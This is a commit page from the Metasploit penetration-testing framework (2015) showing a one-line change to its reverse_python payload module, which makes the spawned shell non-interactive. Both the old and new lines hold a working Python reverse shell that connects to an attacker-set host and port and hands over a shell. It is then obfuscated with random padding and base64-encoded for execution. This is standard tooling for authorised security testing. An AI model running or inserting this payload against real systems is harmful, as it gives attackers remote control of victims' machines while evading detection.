Land #4864 @wvu-r7 changes reverse_python to be non-interactive

This avoids sourcing the shell RC scripts, writing history, etc.
bug/bundler_fix
Brent Cook 2015-03-02 16:21:49 -06:00
commit 4b54517b95
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
1 changed files with 1 additions and 1 deletions

View File

@ -50,7 +50,7 @@ module Metasploit3
#
def command_string
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);"
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
"python -c \"exec('#{encoded_cmd}'.decode('base64'))\""